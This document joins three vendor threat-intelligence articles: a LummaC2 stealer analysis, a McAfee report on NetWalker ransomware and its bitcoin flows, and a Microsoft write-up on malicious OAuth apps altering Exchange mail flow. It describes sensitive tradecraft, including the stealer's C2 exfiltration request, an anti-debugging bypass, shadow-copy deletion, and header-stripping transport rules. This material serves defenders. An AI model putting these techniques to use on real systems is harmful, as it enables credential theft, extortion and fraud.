IsDebuggerPresent By changing the return value for IsDebuggerPresent, one of the most critical APIs we put in breakpoint, we perform the anti-debugging bypass operation.


LummaC2 stealer sends this information to its C2 server, as shown below.


Type: multipart/form-data; boundary=Ð¾aj195iak20ka99441aj1″ We observed the IP address in Debugger, and via IDA, we found that the exact IP address is also referred to in the .rdata section.


Host: 195[.]123[.]226[.]91/c2sock One of the parts that will complicate the analysis processes that will perform the termination process has appeared again.


If we try to skip this part directly, the process will terminate.


Network Activity When LummaC2 is run, the address it sends the POST request to and the C2 addresses are different.


We found the C2 address by researching VirusTotal.


We ran the LummaC2 instance directly in the virtual environment and monitored its activity.


As a result, network activity was observed.


Making a ‘POST’ request, tmp.exe is trying to pass information.


The POST request is performed as follows.


Host: 195[.]123[.]226[.]91 You can find Shodan results about the host address here.


When we examine the packet’s content captured with WireShark, we see a “PK” header.


This means that the C2 is transmitted as a zip file during the POST request.


Let’s examine the stolen information by dumping the zip file.


Content-Disposition: form-data; name=”hwid” {78494464-3fdf-11ed-8279-806e6f6e6963} Content-Disposition: form-data; name=”pid” 1 Content-Disposition: form-data; name=”lid” xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx When we examine the contents of the zip file viewed from the PCAP file, it collects information, primarily system information.


It targets the browsers we have seen in the static analysis codes.


The collected data is transferred to the C2 server as a zip file.


Since Microsoft Edge and Mozilla Firefox are installed in our analysis environment, Lumma Stealer only collects data from these browsers.


We have obtained different zip files because Lumma Stealer sent multiple POST requests to the “c2/sock” address.


When we begin examining from the lowest to the highest in size, we find only the “System.txt” file in the lowest size file.


Its contents are specified in the following image.


When we examine the file named Mozilla Firefox, when we view the .db file called cookies, we can see that it collects the following cookie information.


The content of the .db file named web data is shown in the image below.


There is not much data for the Edge browser, so when we add the cookie information collected for Mozilla, we can see clearly in the following image that it has collected cookie information for many account details.


In conclusion, Lumma Stealer collects cookie information, search histories, and key inputs from browsers and transfers them to the C2 address.


The list of all the information it tries to collect inside of the “Web Data” SQLite file is given in the last image.


We used the VirusTotal graphical interface for Threat Research at this research stage with the IP address sending the POST request.


As seen in the screenshot below, the results of “collections,” “communicating files,” and “referer files” are displayed.


After that, we opened the link information, and many malicious files and IP addresses were displayed.


We noticed a large number of open ports when we searched through Shodan, where 144[.]76[.]173[.]247 IP addresses in Germany caught our attention.


We accessed C2 while visiting port 80. (VirusTotal Graph: Collection)


In the next step, when we visit port 80, the login page can be displayed.


C2 Login Page is shown in the screenshot below.


C2:144[.]76[.]173[.]247/login Analyst Note:


The IP address 144[.]76[.]173[.]247 was not encountered during the analysis.


Shodan Result Communication Addresses Requests 195[.]123[.]226[.]91 POST /c2sock: multipart/form-data;boundary=оaj195iak20ka99441aj1 144[.]76[.]173[.]247 GET/login LummaC2 behaves like other stealer-type malware, which can take away system and sensitive data from the victim’s machine.


These dangerous programs can usually steal information from web browsers and target crypto wallets.


The additional information stored on web browsers, such as login credentials, PII, and financial information, can be further leveraged to conduct fraud activities.


Threat actors can use the stolen data to steal cryptocurrencies from the victim’s accounts or sell this data to other threat actors for financial gain. Indicators of Compromise You can find the full list of IOCs in the SOCRadar Platform.


Rules & Signatures MITRE ATT&CK Matrix Discovery System Information Discovery T1082 Defense Evasion Debugger Evasion T1622 Defense Evasion Deobfuscate/Decode Files or Information T1140 Defense Evasion Impair Defences T1562 Collection Automated Collection T1119 Collection Data from the Local System T1005 Command and Control Application Layer Protocol T1071 Exfiltration Automated Exfiltration T1020 The post Malware Analysis: LummaC2 Stealer appeared first on SOCRadar:registered: Cyber Intelligence Inc..


Executive Summary The NetWalker ransomware, initially known as Mailto, was first detected in August 2019.


Since then, new variants were discovered throughout 2019 and the beginning of 2020, with a strong uptick noticed in March of this year.


NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and our research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.


McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands.


We approached our investigation of NetWalker with some possible ideas about the threat actor behind it, only to later disprove our own hypothesis.


We believe the inclusion of our thinking, and the means with which we debunked our own theory, highlight the importance of thorough research and we welcome further discussion on this topic.


We believe it starts valuable discussions and helps avoid duplicate research efforts by others.


We also encourage our peers in the industry to share information with us in case you have more evidence.


McAfee protects its customers against the malware covered in this blog in all its products, including personal antivirus, endpoint and gateway.


To learn more about how McAfee products can defend against these types of attacks, visit our blog on Building Adaptable Security Architecture Against NetWalker.


Check out McAfee Insights to stay on top of NetWalker’s latest developments and intelligence on other cyber threats, all curated by the McAfee ATR team.


Not only that, Insights will also help you prioritize threats, predict if your countermeasures will work and prescribe corrective actions.


Introduction Since 2019, NetWalker ransomware has reached a vast number of different targets, mostly based in western European countries and the US.


Since the end of 2019, the NetWalker gang has indicated a preference for larger organisations rather than individuals.


During the COVID-19 pandemic, the adversaries behind NetWalker clearly stated that hospitals will not be targeted; whether they keep to their word remains to be seen.


The ransomware appends a random extension to infected files and uses Salsa20 encryption.


It uses some tricks to avoid detection, such as a new defence evasion technique, known as reflective DLL loading, to inject a DLL from memory.


The NetWalker collective, much like those behind Maze, REvil and other ransomware, threatens to publish victims’ data if ransoms are not paid.


As mentioned earlier, NetWalker RaaS prioritizes quality over quantity and is looking for people who are Russian-speaking and have experience with large networks.


People who already have a foothold in a potential victim’s network and can exfiltrate data with ease are especially sought after.


This is not surprising, considering that publishing a victims’ data is part of NetWalker’s model.


The following sections are dedicated to introducing the NetWalker malware and displaying the telemetry status before moving on to the technical malware analysis of the ransomware’s behaviour.


We will explain how the decryptor works and show some interactions between NetWalker’s operators and their victims.


After this, we discuss the changes in modus operandi since September 2019, especially regarding payment behaviour.


Then we show our attempts, unfruitful as they were, at discovering a link between NetWalker and previous, seemingly unrelated ransomware variants.


Finally, we deliver an overview of IOCs related to NetWalker and its MITRE ATT&CK techniques.


Telemetry Using McAfee’s billion Insights sensors, we can show the global prevalence of the NetWalker ransomware. Figure 1.


McAfee MVISION Insights shows global prevalence of the NetWalker ransomware Technical Analysis Ransom note (pre-March 2020)


Before March 2020, the NetWalker ransom note indicated how to contact the adversary directly using anonymous email account services with random names (such as kkeessnnkkaa@cock.li and hhaaxxhhaaxx@tuta.io): Figure 2.


Example of ransom note prior to March 2020 Ransom Note (Post-March 2020)


On 12 March 2020, a researcher shared a screenshot of a new NetWalker ransom note in a tweet and we can see that the attackers have changed the contact method significantly.


Email communication has been dropped completely with victims now required to make contact through the NetWalker Tor interface where, after submitting their user key, they will then be redirected to a chat with NetWalker technical support.


This change in contact method coincides with underground forum postings where NetWalker revealed it was opening its RaaS up for new affiliates.


The Tor page was not the only noticeable change we will highlight in this blog.


Figure 3.


Example of ransom note after March 2020 NetWalker Analysis Figure 4. NetWalker behavior NetWalker Resource Analysis (Pre-March 2020)


The NetWalker malware uses a custom resource type (1337 or 31337) containing its entire configuration.


This file is extracted to memory and decrypted using the RC4 algorithm with a hard-coded key in the resource.


Before 12 March 2020, NetWalker used the email contact process between its support operation and the victims to proceed with payment and send the decryption program.


To do this, NetWalker used its configuration file in the resource to set its encryption mode, the name of the ransom note, etc., and email contacts.


Name wwllww.exe Size 96256 bytes File-Type EXE SHA 256 58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c Compile time 6 December 2019 Figure 5.


NetWalker resource from wwllww.exe Once decrypted, the configuration file reveals several parameters, allowing us to understand how it works (how it constitutes the ransom note, the number of threads allocated for encryption, etc.): mpk Public key mode Encryption mode thr Allocated threads for encryption process spsz Encryption chunk namesz Name length idsz ID length crmask .mailto[email].{ID} mail Contact mail lfile Ransom Note name lend B64 encoded ransom note white Encryption whitelist kill Processes, tasks, service names to terminate unlocker Decryption exclusion list NetWalker Resource Analysis (Post-March 2020)


When Netwalker changed its contact mode and switched from email to the submission of the user key directly on the web portal of the group’s blog, the configuration file in the resource also changed.


We found changes in the configuration file, such as the disappearance of the contact “mail” and “crmask” fields (previously set as XXX@cock.li,XXX@tuta.io, etc., and .mailto[email].{ID}).


This field was replaced by “onion1” and “onion2”, and these fields are set with the NetWalker blog URL/payment page (hxxp://rnfdsgm<snip>drqqd.onion/).


We also noticed that the NetWalker developers complemented their “unlocker” field with some specific values (e.g. “psexec.exe, system, forti*.exe, fmon.exe*, etc”).


Name cnt.ex Size 70656 bytes File-Type EXE SHA 256 26dfa8512e892dc8397c4ccbbe10efbcf85029bc2ad7b6b6fe17d26f946a01bb Compile time 2 May 2020 Figure 6.


NetWalker resource from cnt.ex Usually, attackers use RC_DATA or a malicious BITMAP.


The latter can, for example, be a regular Bitmap (open matrix image format used by Windows) that can be used by malware to execute code or as a payload dropper.


The image’s pixels are an actual binary representation of the payload.


This process can be summarized as Exe -> Resources -> BMP with embedded data in pixels fetched and decrypted by, e.g. a DLL -> Payload), etc.


However, in this case, they use this special custom type to increase obfuscation.


The NetWalker developers chose custom types by using 1337 or 31337 structs, so the resource format does not change.


However, as we said, several values have changed or been replaced: mpk Public Key mode Encryption mode spsz Encryption chunk thr Allocated threads for encryption process namesz Name length idsz ID length lfile Ransom Note name onion1 Blog URL 1 onion 2 Blog URL 2 white Encryption whitelist kill Processes, tasks, service names to terminate net Network resources encryption unlocker Decryption exclusion list lend B64 encoded ransom note NetWalker Executable Analysis (Post-March 2020)


The malware sample used for this blog post has the same information: Name c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Size 70656 bytes File-Type EXE SHA 256 c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b 61e1c6f5f010 Compile time 2 May 2020


The unpacked malware is a binary file of 32 bits that can be found as an EXE file.


Figure 7.


Information sample of the malware The malware’s first action is to combine all the required functions it needs into one large function, combining the modules already loaded in Windows with additional DLLs as described below.


Instead of searching for the function in the usual way, the malware makes a CRC32 hash of the name of each function and compares with hardcoded values.


Additionally, instead of using the function “GetProcAddress”, the malware uses the Process Environment Block (PEB) to make analysis harder. Figure 8.


Get the module accessing the PEB and using a CRC32


If the module cannot be discovered, it will load with “LdrLoadDll”, a native function of Windows, to try avoiding hooks in the usual functions, e.g. “LoadLibraryW”: Figure 9.


Load library using LdrLoadDll Figure 10.


Get functions from module, e.g. using a CRC32 hash If the malware fails to get a function, it will go to a “sleep” call and terminate itself.


Later, the malware extracts the configuration file from a resource with a custom type and a custom name using the functions “FindResourceA”, “LockResource”, “LoadResource” and “SizeOfResource”.


The file extracted in memory is decrypted using the RC4 algorithm with a hardcoded key in the resource.


The struct of the resource is: 4 bytes ->


The size of the hardcoded key to decrypt the configuration file.


Variable size -> the hardcoded key to decrypt the configuration file.


Variable size -> the configuration file encrypted.


The malware reads the first 4 bytes and reserves memory with the size of the password and reserves memory of the resource minus 4 bytes and the size of the password.


Finally, it decrypts the configuration file: Figure 11.


Get configuration file and decrypt it If the malware fails to get the configuration file, it will terminate itself.


After getting the configuration file, the malware will parse it and save the fields in memory and write in the registry information to encrypt the files in the machine.


The malware will try first to write in the registry-hive “HKEY_LOCAL_MACHINE” but if it cannot create it, it will use the registry-hive “HKEY_CURRENT_USER”: Figure 12.


Write in the registry After the writing in the registry has been completed, it will get some privileges using a token as SE_DEBUG_PRIVILEGE and SE_IMPERSONATE_PRIVILEGE: Figure 13.


Get some special privileges in the token Later, the malware creates three threads, one to get information about the machine, such as the operating system version, one to get processes and the last one to get services in the system.


After this step, it will get the system directory and use “VSSadmin” to delete the Volume Shadow copies of the system.


Volume Shadow copies can contain copies of the encrypted files and would be an option to restore from if no backup exists.


Delete the shadow volumes Later, the malware will enumerate the logical units, prepare the new extension for the future encrypted files, based on the size that is defined in the ransomware config with a random extension, and encrypt all files in the fixed type units and remote units with the new extension.


Figure 15.


Crypt the files After all these steps have been completed, it will create the ransom note on the desktop using the functions “SHGetFolderPathlW” and “CreateFileW”.


Subsequently, it will write the ransom note from the memory into a new file with the function “WriteFile”.


The malware will create the ransom note in the root folder (for example “c:\”) of each logical unit.


Next, it will launch “notepad.exe” with an argument to the ransom note file to show the user what happened on the system: Figure 16.


Creation of the ransom note in the desktop and root units Finally, after the encryption of the files and creation of the ransom note, the malware creates a bat file in the %temp% folder of the machine with a temporary name and writes the content to destroy itself using the program “taskkill”.


The batch script will delete the malware sample with its path using the command “del” and finally delete the bat file with the command “del %0%”.


Of course, as the malware uses the “del” command without destroying itself before the deletion, it can be recovered with some forensic tools with luck (the same can also be said for the bat file).


This way the malware tries to remove itself from the machine to avoid being detected and analyzed by security researchers: Figure 17.


Get Temp path and make a temporary file as a bat and launch it Finally, the malware will finish with “ExitProcess”.


Decryptor When a NetWalker victim goes through technical support (see an example of this below) and pays the ransom demanded by the group they will be able to download the decryptor to clean up their environment.


Figure 18.


Conversation with NetWalker operators The download is done directly from the NetWalker Tor site, where the payment page switches to a download page certifying that the payment was made and received: Figure 19.


Decryptor download The decryptor is delivered in a zip archive containing the decryptor executable and a note explaining how to run the program correctly: Figure 20.


Decryptor delivery The program launches a graphical interface allowing the user to decipher their workstation automatically or manually: Figure 21.


Decryptor execution At the end of the decryption process, the program indicates the number of decrypted files, deletes the ransom note if the user has checked that option, and terminates, leaving the user to resume their work peacefully: Figure 22.


Decryptor has finished the decryption process The decryptor program appears unique and is linked to one victim specifically.


In our example, it only decrypts the files belonging to the victim who made the payment from the user key specified in the ransom note.


Underground Advertising In March 2020, the moniker Bugatti began actively advertising the NetWalker Ransomware-as-a-Service on two popular underground fora.


Bugatti seems to have joined the underground scene in February 2020 but claims to have been active with NetWalker ransomware since September 2019.


We have seen NetWalker activity before March but there has been a noticeable uptick in larger victims since their advertisement.


For a relatively new ransomware it has been well received and respected among other cybercriminals as compared to, for instance, Nemty ransomware.


The strength of NetWalker’s reputation is such that our current hypothesis is that the individual behind Bugatti is most likely a well-respected and experienced cybercriminal, even though it is a new moniker.


Figure 23.


Bugatti advertising NetWalker on an underground forum Bugatti provides regular updates on the improvements in the ransomware, such as the popular Invoke-ReflectivePEInjection method, also commonly used by Sodinokibi.


In addition to the improvements in the ransomware, open slots for new affiliates are advertised.


Bugatti strongly emphasized that they are primarily looking for experienced affiliates that focus on compromising the complete networks of organizations as opposed to end users.


NetWalker is clearly following in the footsteps of its illustrious targeted ransomware peers like Sodinokibi, Maze and Ryuk.


One forum message in particular caught our attention as it included screenshots of several partial bitcoin addresses and USD amounts.


This was most likely done to showcase the financial success of the ransomware.


We have seen a similar posting in the past with the influential Sodinokibi affiliate Lalartu, so we decided to follow the money once more. Figure 24.


Bugatti is looking for advanced affiliates and shows samples of BTC payments With the help of CipherTrace software we were able to find the complete BTC addresses from the screenshot and investigate the ledger further: Screenshot 1 3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J Screenshot 2 39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V Screenshot 3 39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB Screenshot 4 3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs Following the Money In the transactions mentioned in the underground forum post, the ransom amount payed by the victims is presumably shown.


Since the bitcoin blockchain is a publicly accessible ledger, we can follow the money and see where the ransomware actors are transferring it to.


In the case of the four posted transactions above, the full amount payed by the victim was transferred to two addresses (these addresses begin with bc1q98 and 1DgLhG respectively).


It is safe to say that these two bitcoin addresses are under control of the NetWalker actors.


We then proceeded on to analyze all incoming transactions to these two addresses and we were able to make the following observations: The first incoming transaction occurs on 1 March 2020.


On 30 March 2020 the first incoming transaction appears where the amount is split between 4 different bitcoin addresses.


A split like this is typically seen in Ransomware-as-a-Service, where the ransom payment is split between the RaaS operators and the affiliate who caused the infection.


In this first transaction, the split is 80%, 10% and two 5% portions.


This split matches the advertisement on the underground forum (80% – 20%).


The two 5% portions of the ransom payments that are split, seem to be consistently transferred to the two bitcoin addresses we revealed earlier (bc1q98 and 1DgLhG).


While the beneficiaries of the 5% cuts remain the same, the beneficiary of the 10% cut seems to change over time.


Based on the forum post we assume these addresses also belong to the NetWalker actors.


Payments to the bc1q98 and 1DgLhG addresses that are not being split continue up until the end of May.


Possibly the initial NetWalker operators added a RaaS operation, while continuing to cause NetWalker infections themselves.


While analyzing the bitcoin addresses that received 80% or more of the transaction amount, we noticed that there are some addresses that receive payments multiple times.


A possible explanation could be that the address is configured as payout addresses for a certain campaign or affiliate.


We identified 30 unique bitcoin addresses that seem to be the beneficiary of this larger portion of the ransom transaction.


Some of these only received one payment but there are several that received multiple payments.


In the two addresses uncovered by tracing the transactions a total of 641 bitcoin is held on 27 July 2020.


Which at the current market value of bitcoin is worth well over 7 million USD.


Amounts Extorted Working under the hypothesis that all the incoming transactions are ransomware payments; we can make the following observations: We found 23 transactions where the ransom payments were not split up and the beneficiaries are the two bitcoin addresses found by following the transactions mentioned in the underground forum post.


The total amount of bitcoin extorted this way between 1 March 2020 and 27 July 2020 is 677 BTC.


Additionally, the amount received from remaining transactions following the Ransomware-as-a-Service scheme by these addresses between 1 March 2020 and 27 July 2020 is 188 BTC.


In the transactions that are split, the largest amount (usually 80% to 90% of the total transaction value) is presumably transferred to the affiliate that caused the infection.


When we summed up these largest portions, we saw a total of 1723 BTC being transferred to affiliates.


The total amount of extorted bitcoin that has been uncovered by tracing transactions to these NetWalker related addresses is 2795 BTC between 1 March 2020 and 27 July 2020.


By using historic bitcoin to USD exchange rates, we estimate a total of 25 million USD was extorted with these NetWalker related transactions.


Even though we do not have complete visibility into the BTC flow before NetWalker started ramping up, one thing is certain, this quarter alone it has been highly successful at extorting organisations for large amounts of money.


All this at a time when many sectors are struggling because people are sheltering in place and governments are trying to keep businesses from going bankrupt.


NetWalker is making millions off the backs of legitimate companies.


Figure 25.


Overview of uncovered bitcoin transactions, highlighting the two identified actor addresses.


Observed Changes While talking about the impact of NetWalker with our partners, we learned that the change in modus operandi not only affected the way the actors communicate with their victims.


When there was a change from email communication to a dedicated Tor hidden service, the actors also moved away from using legacy bitcoin addresses to SegWit addresses.


The benefits of using the newer SegWit addresses include faster transaction time and lower transaction cost.


The NetWalker advertisement on the underground forum mentions instant and fully automatic payments around the time of this observed change.


This makes us believe the ransomware actors were professionalizing their operation just before expanding to the Ransomware-as-a-Service model.


Comparison with Previous Ransomware Given the sudden appearance of NetWalker ransomware and the associated threat actor, it suggests that some prior knowledge on ransomware development or underground presence had to be in place.


Armed with this hypothesis, we searched for possible links to underground actors and other ransomware strains that might fit the bill.


We came across one threat actor offering ransomware that caught our attention.


It was the use of the name NetWalker, in combination with a strong ransomware connection, that sparked our interest.


Some years ago, a threat actor using the moniker Eriknetwalker was advertising ransomware on several underground forums.


We found posts from 2016 and the latest public activity was around June 2019, several months before NetWalker ransomware made its appearance.


Figure 26.


Eriknetwalker began advertising their ransomware in 2016 (Google-translated from Russian)


Based on our underground research, we linked the moniker Eriknetwalker to the development and/or distribution of Amnesia, Bomber and Scarab ransomware.


Eriknetwalker stopped advertising ransomware around June 2019.


Therefore, we decided to perform a comparative analysis between the different ransomware strains linked to Eriknetwalker and some of the earliest versions of NetWalker we could find.


The goal of this comparative analysis was to identify whether there was an overlap between source codes.


Such overlap could suggest a stronger link between the current NetWalker version and the other ransomware versions from Eriknetwalker, possibly even explaining the name overlap.


To execute the analysis, we used several tools one of which was the binary visualization tool Veles, which dynamically translates binary information into an abstract visualization that allows us to identify and compare patterns.


The different types of ransomware we began analyzing were the variants of Amnesia, Scarab, and NetWalker.


Figure 27.


Flat visualization of binary data of the different ransomware variants Figure 28.


3D visualization of binary data of the different ransomware variants Visualizing data in such a manner is a way to use the human brain to quickly identify patterns and be able to draw comparisons between objects.


In our case, we see that, based on the binary data visualized in Figures 27 and 28, the ransomware binaries do yield differences that we cannot ignore.


Figure 29.


Comparison of source code results Figure 29 shows the results of a source code similarity analysis led on the different variants of ransomware named in the figure itself.


Interesting enough, Scarab and Amnesia show a higher overlap with Buran and Zeppelin than the early NetWalker samples.


The percentages shown are the amount of code that is similar between two variants.


As illustrated in the overview, the September 2019 NetWalker version has a different codebase from the ErikNetWalker-linked ransomware variants.


This finding disproves our earlier hypothesis that NetWalker is linked to the older Amnesia variants based on code overlap.


Often, research teams do not publish their results when it disproves their own hypothesis.


However, for the sake of transparency, we decided to include our research efforts.


YARA Rules We uploaded a YARA rule to detect almost all the samples observed in the wild to date.


Indicators of Compromise During our investigation we have observed numerous IoCs linked to NetWalker ransomware.


To obtain them please visit our McAfee ATR GitHub site, or get the latest NetWalker IoCs and intelligence on many other threats with McAfee Insights.


MITRE ATT&CK Techniques


The below techniques were based on our research and complemented with research from industry peers.


Initial Access Exploit Public-Facing Application (T1190) : Exploit Tomcat, Exploit WebLogic Spear phishing Attachment (T1566.001):


Phishing email Valid Accounts (T1078): RDP compromised Execution PowerShell (T1059.001):


PowerShell Script Command and Scripting Interpreter:


Windows Command Shell (003) Service Execution (T1569.002):


PsExec Native API (T1106): Use Windows API functions to inject DLL Windows Management Instrumentation (T1047) Persistence Registry Run Key (T1547.001):


Place a value on RunOnce key Modify Registry key (T1112): Create its own registry key in \SOFTWARE\<uniquename> Privilege Escalation Exploitation for Privilege Escalation (T1068): CVE-2020-0796, CVE-2019-1458, CVE-2017-0213, CVE-2015-1701 Process Injection (T1055.001): Reflective DLL Injection Defense Evasion Disabling Security Tools (T1562.001): ESET AV Remover, Trend Micro’s Security Agent Uninstall Tool, Microsoft Security Client Uninstall Process Injection (T1055.001): Reflective DLL Injection Deobfuscate/Decode Files or Information (T1140) Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption Credential Access Credential Dumping (T1003): Mimikatz, Mimidogz, Mimikittenz, Windows Credentials Editor, Pwdump, LaZagne Brute Force (T1110.001): NLBrute Discovery Network Service Scanning (T1046): SoftPerfect Network Scanner Security Software Discovery (T1518.001)


System Information Discovery (T1082) Lateral Movement Third-Party Software (T1072): TeamViewer, Anydesk Service Execution (T 1569.002): PsExec Lateral Tool Transfer (T1570) Collection Data from information repositories (T1213) Data from local system (T1005) Data from network shared drive (T1039) Command and Control Ingress Tool Transfer (T1105)


Impact Data Encrypted (T1486): NetWalker Ransomware Inhibit System Recovery (T1490): Shadow Copies Deleted Service Stop (T1489) Conclusion Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom.


McAfee’s Advanced Threat Research team has analysed the NetWalker ransomware and have been following its evolution from the initial sighting of the Mailto ransomware to its redevelopment into the NetWalker ransomware.


The recent shift to a business-centric model of Ransomware-as-a-Service is a clear sign that it is stepping up, so it seems that the NetWalker group is following in the footsteps of REvil and other successful RaaS groups.


The ransomware developers have proven the ability to refocus and capitalize on current world events and develop lures to help ensure the effectiveness of the ransomware, which has allowed them to become selective of their affiliates by limiting access to the ransomware to only those with vetted access to large organizations.


As development of the ransomware continues, we have witnessed recent shifts in activity that closely follow in the footsteps of other ransomware developments, including threatening victims with the release of confidential information if the ransom is not met.


McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information.


MVISION Insights is the only proactive endpoint security solution that simultaneously prioritizes and predicts threats that matter to our customers while offering prescriptive guidance on what to do in their local environment.


Want to stay ahead of the adversaries?


Check out McAfee MVISION Insights for more information.


If you want to experience some of the MVISION Insights capabilities, go the Preview of MVISION Insights where you can select the top threat information that is available.


Authored by: Thibault Seret, Valentine Mairet, Jeffrey Sman, Alfred Alvarado, Tim Hux, Alexandre Mundo, John Fokker, Marc Rivero Lopez and Thomas Roccia.


The post Take a “NetWalk” on the Wild Side appeared first on McAfee Blog.


Microsoft researchers recently investigated an attack where malicious OAuth applications were deployed on compromised cloud tenants and then used to control Exchange servers and spread spam.

Malicious OAuth applications used to compromise email servers and spread spam  Microsoft Security Blog


The investigation revealed that the threat actor launched credential stuffing attacks against high-risk accounts that didn’t have multi-factor authentication (MFA) enabled and leveraged the unsecured administrator accounts to gain initial access.


The unauthorized access to the cloud tenant enabled the actor to create a malicious OAuth application that added a malicious inbound connector in the email server.


The actor then used the malicious inbound connector to send spam emails that looked like they originated from the targets’ domain.


The spam emails were sent as part of a deceptive sweepstakes scheme meant to trick recipients into signing up for recurring paid subscriptions.


Microsoft has been monitoring the rising popularity of OAuth application abuse.


One of the first observed malicious usage of OAuth applications in the wild is consent phishing.


Consent phishing attacks aim to trick users into granting permissions to malicious OAuth apps to gain access to user’s legitimate cloud services (mail servers, files storage, management APIs, etc.).


In the past few years, Microsoft has observed that more and more threat actors, including nation-state actors, have been using OAuth applications for different malicious purposes – command-and-control (C2) communication, backdoors, phishing, redirections, and so on.


This recent attack involved a network of single-tenant applications installed in compromised organizations being used as the actor’s identity platform to perform the attack.


As soon as the network was revealed, all the related applications were taken down and notifications to customers were sent, including recommended remediation steps.


This blog presents the technical analysis of this attack vector and the succeeding spam campaign attempted by the threat actor.


It also provides guidance for defenders on protecting organizations from this threat, and how Microsoft security technologies detect it. Figure 1.


Overview of the attack chain.


The time between application deployment and usage varied; there were cases where the actor took months before using the application.


Initial access For the attack to succeed, the threat actor needed to compromise cloud tenant users with sufficient permissions that would allow the actor to create an application in the cloud environment and give it admin consent.


The actor performed credential stuffing attacks against their targets, attempting to access users with the global admin role.


The authentication attempts, which originated from a single IP address, were launched against the Azure Active Directory PowerShell application (app ID: 1b730954-1685-4b74-9bfd-dac224a7b894).


The same application was later used to deploy the rest of the attack.


Based on the success ratio of the authentication attempts, it is inferred that the attacker used a dump of compromised credentials.


The investigation also revealed that 86% of the compromised tenants had at least one admin with a real-time high risk score, which means they were flagged by Azure AD Identity Protection to be most likely compromised.


It is also important to note that all the compromised admins didn’t have MFA enabled, which could have stopped the attack.


These observations amplify the importance of securing accounts and monitoring for high-risk users, especially those with high privileges.


Deploying malicious OAuth application Once the threat actor gained access to privileged users, their next step was to set up the malicious application.


Based on analysis of the event user agent (Swagger-Codegen/1.4.0.0/csharp) and how quickly the deployment of the application was done, it is likely that the actor ran a PowerShell script to perform the following Azure Active Directory (AAD) management activities in all targeted tenants: Register a new single–tenant application with the naming convention of [domain name]_([a-zA-Z]){3} (for example: Contoso_GhY)Add the legacy permission Exchange.ManageAsApp which can be used for app-only authentication of Exchange Online PowerShell moduleGrant admin consent to the above permissionGive global admin and Exchange admin roles to the previously registered applicationAdd application credentials (key/certificate/both) The threat actor added their own credentials to the OAuth application, which enabled them to access the application even if the initially compromised global administrator changed their password.


The activities mentioned gave the threat actor control of a highly privileged application.


It was observed that the threat actor did not always use the application right after it was deployed.


In some cases, it took weeks or months before the application was utilized.


Also, in organizations that didn’t monitor for suspicious applications, the applications were deployed for months and used multiple times by the threat actor.


Modifying Exchange settings The threat actor used the privileged application to authenticate the Exchange Online PowerShell module and modify the Exchange settings of the compromised server.


There were two modifications which allowed them to perform the next step in the attack chain: Create a new inbound connector Connectors are a collection of instructions that customize the way email flows to and from organizations using Microsoft 365 or Office 365.


Most organizations using Microsoft 365 and Office 365 don’t need custom connectors for regular mail flow, but some use it when they need to process messages from another messaging system that’s not running Exchange, or if they have a network appliance that performs policy checks and then routes messages to their Exchange server.


The threat actor set a new inbound connector with the naming convention Ran_([a-zA-Z]){5} (for example Ran_xAFzd).


The purpose of the inbound connector was to allow mails from certain IPs (that are related to the attacker’s infrastructure) to flow through the victim’s Exchange server.


This allowed the threat actor to send emails that looked like they originated from the compromised Exchange domain.


The configuration information for the newly created connectors were seen in Exchange audit event New-InboundConnector.


The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Ran_jBelh”“Enabled”“True”“CloudServicesMailEnabled”“True”“RestrictDomainsToCertificate”“False”“SenderDomains”“smtp:*;1”“SenderIPAddresses”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“RestrictDomainsToIPAddresses”“True”“ConnectorSource”“HybridWizard”“EFSkipIPs”“170.75.174.97;170.75.172.8;170.75.170.69;170.75.174.95; 54.39.94.145;149.56.200.36;158.69.21.185;66.70.201.131”“TreatMessagesAsInternal”“False”“ConnectorType”“OnPremises”“RequireTls”“False”Create transport rules Transport rules (also known as mail flow rules) are sets of actions that can be taken on any mail that flows in the organization.


The threat actor utilized this feature to set 12 new transport rules with the naming convention of Test01 to Test012.


Each of these transport rules were responsible for deleting the following specific headers from every mail that flowed in the organization: X-MS-Exchange-ExternalOriginalInternetSenderX-MS-Exchange-SkipListedInternetSenderReceived-SPFReceivedARC-Authentication-ResultsARC-Message-SignatureDKIM-SignatureARC-SealX-MS-Exchange-SenderADCheckX-MS-Exchange-Authentication-ResultsAuthentication-ResultsX-MS-Exchange-AntiSpam-MessageData-ChunkCountBy deleting these headers, the attacker tried defense evasion to prevent security products or email providers detecting or blocking their emails and increase the success rate of the spam campaign.


The configuration information for the newly created transport rules were seen in Exchange audit event New-TransportRule.


The following table shows the configuration parameters in the audit event related to this change: NameValue“Name”“Test06”“SenderAddressLocation”“Header”“RemoveHeader”“ARC-Message-Signature”These modifications to the Exchange server settings allowed the threat actor to perform their primary goal in the attack: sending out spam emails.


After each spam campaign, the actor deleted the malicious inbound connector and transport rules to prevent detection, while the application remained deployed in the tenant until the next wave of the attack (in some cases, the app was dormant for months before it was reused by the threat actor).


Figure 2.


An example of the PowerShell script used for setting new Exchange connector and transport rulesSpam email campaign sent through Exchange connector The actor behind this attack has been actively running spam email campaigns for many years.


Based on our research, this actor has sent high volumes of spam emails in short timeframes through other methods, such as connecting to mail servers from rogue IP addresses or sending directly from legitimate cloud-based bulk email sending infrastructure.


The actor’s motive was to propagate deceptive sweepstakes spam emails designed to trick recipients into providing credit card details and signing up for recurring subscriptions under the guise of winning a valuable prize.


While the scheme possibly led to unwanted charges for targets, there was no evidence of overt security threats such as credential phishing or malware distribution.


